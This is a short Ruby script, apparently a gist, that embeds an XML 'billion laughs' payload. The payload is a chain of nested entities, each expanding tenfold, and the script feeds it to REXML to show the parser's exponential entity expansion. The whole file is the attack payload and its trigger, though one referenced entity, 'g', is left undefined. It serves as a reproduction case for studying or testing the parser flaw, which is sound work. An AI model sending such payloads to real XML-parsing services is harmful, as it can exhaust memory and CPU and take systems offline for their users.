gistfile1.rbx

require 'rexml/document'

source = <<"..."
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE member [
    <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
    <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
    <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
    <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
    <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
    <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
]>
<member>
&a;
</member>
...

doc = REXML::Document.new(source)
p doc.root.children.first.value